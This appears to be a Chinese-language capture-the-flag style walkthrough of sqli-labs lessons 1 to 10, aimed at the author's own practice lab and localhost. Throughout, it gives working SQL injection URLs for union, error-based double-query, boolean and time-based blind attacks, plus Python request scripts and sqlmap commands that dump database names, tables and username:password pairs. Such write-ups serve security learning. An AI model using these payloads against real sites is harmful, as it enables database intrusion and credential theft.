Less-1
手工注入
相关知识
在mysql数据库中,单行注释有#
和--
,在实际操作中#号一般用%23
来表示。而--
则用--+
来表示。因为在URL中,如果在最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+
代替--
,原因是+
在URL被URL编码后会变成空格。
与数据库相关内容
1.根据题目提示,输入http://web-labs.rinue.top/sqli-labs/Less-1/?id=1
回显正常
2.加个单引号看看,http://web-labs.rinue.top/sqli-labs/Less-1/?id=1%27
显示出错,别以为没啥用,错误提示对web端透明,而且数据库为Mysql
3.通过http://web-labs.rinue.top/sqli-labs/Less-1/?id=1%27and%20%271%27=%271
或http://web-labs.rinue.top/sqli-labs/Less-1/?id=1--+
回显正常可知,为单引号字符注入
4.开始构造语句,使用order by
查列数,order by
语法为:ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],...
此处以数字1,2,3…指定以某一列为key进行排序,通过尝试得出列数,得出列数为3。
- order by 3时,回显正常
- order by 4,回显错误
5.开始使用union查询,通过回显爆出用户名,密码等字段,还有所有表名,数据库名
6.爆数据库名:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
7.爆当前数据库security的所有表:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
8.爆users表的所有表列:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
9.爆username,password:http://web-labs.rinue.top/sqli-labs/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+
sqlmap注入
相关的sqlmap参数
11种常见sqlmap使用方法
1.各参数见上述链接,指定相关参数,如注入类型,数据库类型等
得到相关信息,py -2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch
2.爆数据库名py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -dbs
3.爆当前库security的所有表py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -D security -tables
4.爆users表的字段py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -T users -columns
5.爆password,username字段py -2 sqlmap.py -u http://web-labs.rinue.top/sqli-labs/Less-1/?id=1 -dump -C username password -T users -D security
Less-2
1,首先http://web-labs.rinue.top/sqli-labs/Less-2/?id=1
,正常
2.加单引号出错http://web-labs.rinue.top/sqli-labs/Less-2/?id=1'
3.有错误提示可知为单引号引起错误,为数字型注入
4.直接在id后面写sql语句,步骤同Less-1
Less-3
1.首先http://web-labs.rinue.top/sqli-labs/Less-3/?id=1
,正常
2.加单引号错误http://web-labs.rinue.top/sqli-labs/Less-3/?id=1'
3.由错误提示可构造http://web-labs.rinue.top/sqli-labs/Less-3/?id=1%27)--+
,回显正常,接下来步骤同Less-1
Less-4
1.首先http://web-labs.rinue.top/sqli-labs/Less-4/?id=1
,回显正常
2.加单引号http://web-labs.rinue.top/sqli-labs/Less-4/?id=1'
,正常
3.加双引号出错http://web-labs.rinue.top/sqli-labs/Less-4/?id=1"
4.由错误提示可构造http://web-labs.rinue.top/sqli-labs/Less-4/?id=1%22)--+
,回显正常
5.其余步骤同Less-1
Less-5
1.首先http://web-labs.rinue.top/sqli-labs/Less-5/?id=1
,回显正常
2.加单引号http://web-labs.rinue.top/sqli-labs/Less-5/?id=1'
,出错
3.根据错误提示,可知由单引号引起错误,故可根据错误提示构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27--+
,回显正常
4.综上可知该注入为报错型盲注,报错型盲注有很多方法爆库等,比如时间延迟型盲注,布尔型盲注,该处使用双查询注入双查询注入相关知识
5.构造http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20group_concat(schema_name)from%20information_schema.schemata),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
(此处换我自己的靶场了),回显错误
提示信息显示输出查询大于1行,这里说明数据库名的字符串长度大于64位(group_concat()
函数最大长度为64位),所以舍弃group_concat()
函数,改用limit n,1
逐个输出。
5.重新构造爆库http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20schema_name%20from%20information_schema.schemata%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
(妈的,自己的靶场又崩了),爆出了一个库名
6.写了个脚本爆出了所有库名
脚本(回显正常时为终止条件)
import requests
for i in range(15):
result=[]
r=[]
r1=[]
re=''
url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20schema_name%20from%20information_schema.schemata%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
re=requests.get(url=url)
rr=re.text
r=rr.split('color="#FFFF00">')
result=r[2].split('</br>')
r1=r[2].split('<br>')
if r1[0]=='You are in...........':
break
print(result[0])
结果(去掉末尾的0和1)
7.构造sql语句爆当前数据库security
的表http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
8.接着写脚本爆所有表名
import requests
for i in range(15):
result=[]
r=[]
r1=[]
re=''
url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema='+"'security'"+'%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
re=requests.get(url=url)
rr=re.text
r=rr.split('color="#FFFF00">')
result=r[2].split('</br>')
r1=r[2].split('<br>')
if r1[0]=='You are in...........':
break
print(result[0])
所有表名
9.接着爆users表的表列,构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
10.写脚本爆所有表列
import requests
for i in range(15):
result=[]
r=[]
r1=[]
re=''
url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name='+"'users'"+'%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
re=requests.get(url=url)
rr=re.text
r=rr.split('color="#FFFF00">')
result=r[2].split('</br>')
r1=r[2].split('<br>')
if r1[0]=='You are in...........':
break
print(result[0])
结果
11.最后构造http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and(select%201%20from(select%20count(*),concat((select%20concat(username,%27:%27,password)from%20security.users%20limit%200,1),floor(rand()*2))as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)--+
爆username
,password
再写个脚本,爆出所有字段
import requests
for i in range(15):
result=[]
r=[]
r1=[]
re=''
url='http://web-labs.rinue.top/sqli-labs/Less-5/?id=1%27and%20(select%201%20from%20(select%20count(*),concat((select concat(username,":",password)from security.users%20limit%20'+str(i)+',1),floor%20(rand()*2))%20as%20x%20from%20security.users%20group%20by%20x)%20as%20a)--+'
re=requests.get(url=url)
rr=re.text
r=rr.split('color="#FFFF00">')
result=r[2].split('</br>')
r1=r[2].split('<br>')
if r1[0]=='You are in...........':
break
print(result[0])
结果太多了,脚本跑太久就给这么多吧
Less-6
手工注入
1.首先http://127.0.0.1/sqlilabs/Less-6/?id=1
,回显正常(这tm我的靶场又弄好了)
2.加单引号也正常,加双引号报错
3.由错误提示可构造http://127.0.0.1/sqlilabs/Less-6/?id=1%22--+
,回显正常。。。
4.。。。。。。。跟Less-6一样了
sqlmap
1.先判断是什么注入类型
1)判断布尔型盲注 ?id=1’ and 1=1 --+ , ?id=1' and 2=1 --+
2)判断时间延迟型注入?id=1'and sleep(5)--+
再根据回显进行判断
2.这里两者都可以,笔者采用布尔型报错注入,构造语句爆库py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B --dbs --dbms mysql --batch -v 0
结果:
3.构造语句爆security
库的所有表,py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -t --batch -v 0
结果:
4.构造语句爆users
表所有表列py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -T users -columns --batch -v 0
结果:
5.构造语句爆users
表所有字段py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-6/?id=1" --technique B -D security -T users -dump --batch -v 0
结果:
上述构造的相关参数说明:
其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型型注入)
E:Error-based(报错型注入)
U:Union query-based(联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
其中的—dbms: 不仅可以指定数据库类型,还可以指定数据库版本
–batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
-v 0参数只是为了更好的截图.
Less-7
手工注入
又是tm环境问题,导致我手工注入失败(这个失败的意思不是爆不出库),但是收获是真的多啊,但是聪明的我用sqlmap也把他跑出来,🤭进入正题吧
1.首先构造http://127.0.0.1/sqlilabs/Less-7/?id=1
,回显正常
2.加单/双引号,单括号,单引号+单括号都正常,单引号+双括号异常(真正的盲注来了,错误提示啥球用没有)
3.接下来靠经验了(其实就tm瞎猜),构造http://127.0.0.1/sqlilabs/Less-7/?id=1%27))--+
,恢复正常了
4.根据提示使用outfile
,这tm啥,百度,哦,知道了,知道有屁用。。。还是不会,,,看大佬的writeup吧,,,,淦,writeup第一步就懵了,为啥(select count(*) from mysql.user)>0
就能判断有读写权限???
百度啊。。。先了解了mysql.user是个啥,这篇文字写得真好,get!!!,再来看看why,,,百度了好多,发现大家说根据上面那个判断读写权限是错误的,我怀疑那些人都抄的,或者压根不懂,上大佬文章 ,(select count(*) from mysql.user)>0
只能说明用户有读权限,不能说它有写权限,为何强调写权限,这就是outfile()函数的要求了,来看大佬文章,懂了吧。哪怎么判断有无写权限嘞? easy,你尝试写一些内容再去看写到目的文件里面没有不就好了吗,而这个就是那些说根据(select count(*) from mysql.user)>0
就能判断有读写权限的人写的writeup,这篇writeup是写的比较全面的,因为它解释了两个大部分人会遇到的问题:web如何查看完整文件路径(查看它是因为outfile()函数的要求),secure-file-priv问题 (这个自己看,看了就懂为啥),我说收获多吧,哈哈哈,还有一点和outfile函数有关的东西,,,接着就找着我上面给的writeup做就好了。
sqlmap注入
手工多麻烦,sqlmap两下搞定。。。
1.由Less-6的判断方法判断出了存在布尔/时间延迟型盲注,此处笔者采用时间延迟型,相关参数见Less-6
2.爆库py -2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-7/?id=1" --technique T -dbs --batch -v 0
结果:
3.接下来爆表,爆列换一下参数就好了
Less-8
1.首先http://127.0.0.1/sqlilabs/Less-8/?id=1
,回显正常
2.加单引号啥也没有了,加'--+
恢复正常
3.考虑布尔型注入,构造http://127.0.0.1/sqlilabs/Less-8/?id=1'and '1'='1'--+
回显正常,http://127.0.0.1/sqlilabs/Less-8/?id=1'and '1'='2'--+
,回显啥也没有。说明存在布尔型注入
4.使用sqlmap解决
Less-9
1.首先http://127.0.0.1/sqlilabs/Less-9/?id=1
,回显正常
2.加'
,"
,(
的一系列组合页面都一个样
没有报错,不知道输入正确与否,不同与Less-8,输入合法则是“You are in…”,非法输入时页面啥也没有了,可以根据这个特点去跑盲注,判断输入字符是否匹配正确。而在这关输入正确与否,页面都是一串固定的字符串,所以不能靠返回内容判断匹配结果,这里就要用到sleep()
延时函数了。
3.废话不多说看操作,先构造http://127.0.0.1/sqlilabs/Less-9/?id=1%27and%20sleep(5)--+
,ok,果然是时间延迟盲注,页面延迟了5秒
4.判断了类型,直接用sqlmap了,okk
Less-10
本关同Less-9一样的,都是时间延迟型盲注,只是闭合方式为"--+
,其他都一样了。
GET篇通关